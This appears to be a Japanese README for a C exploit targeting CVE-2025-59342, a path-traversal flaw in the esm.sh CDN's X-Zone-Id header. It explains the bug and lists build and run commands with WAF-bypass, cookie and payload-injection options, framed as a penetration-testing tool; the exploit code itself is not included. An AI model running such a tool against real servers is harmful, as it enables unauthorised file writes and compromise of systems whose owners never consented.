
CVE-2025-59342のesm.sh CDN(v136以前)におけるパストラバーサル脆弱性を悪用するC言語のエクスプロイト。WAFバイパスとクッキーサポートを備えたX-Zone-Idヘッダーを介してペイロードを注入し、ペネトレーションテストに対応します。
作者: Byte Reaper
CVE-2025-59342 は、esm.sh におけるパストラバーサルの脆弱性です。esm.sh は、現代のWeb開発向けのノービルド・コンテンツデリバリネットワーク (CDN) であり、バージョン136以前が影響を受けます。
問題は、X-Zone-Id HTTPヘッダーの処理に存在します。このヘッダーはファイルシステムパスを構築するために使用されますが、ヘッダーの値が適切に正規化されておらず、アプリケーションのストレージベースディレクトリに制限されていません。
その結果、X-Zone-Id に ../ シーケンスを指定すると、意図したストレージロケーションの外部にファイルが書き込まれる可能性があります。
Linux x86_64
GCC
gcc exploit.c argparse.c -o CVE-2025-59342 -lcurl
./CVE-2025-59342 -u http://target (auto port = 80)
- Verbose Mode :
./CVE-2025-59342 -u http://target -v
- Bypass WAF :
./CVE-2025-59342 -u http://target -v -b
- Cookies FILE :
./CVE-2025-59342 -u http://target -c [FILE] -v
- Target Port server :
./CVE-2025-59342 -u http://target -p [PORT]
- Payload :
./CVE-2025-59342 -u http://target -p [Payload injection]
MIT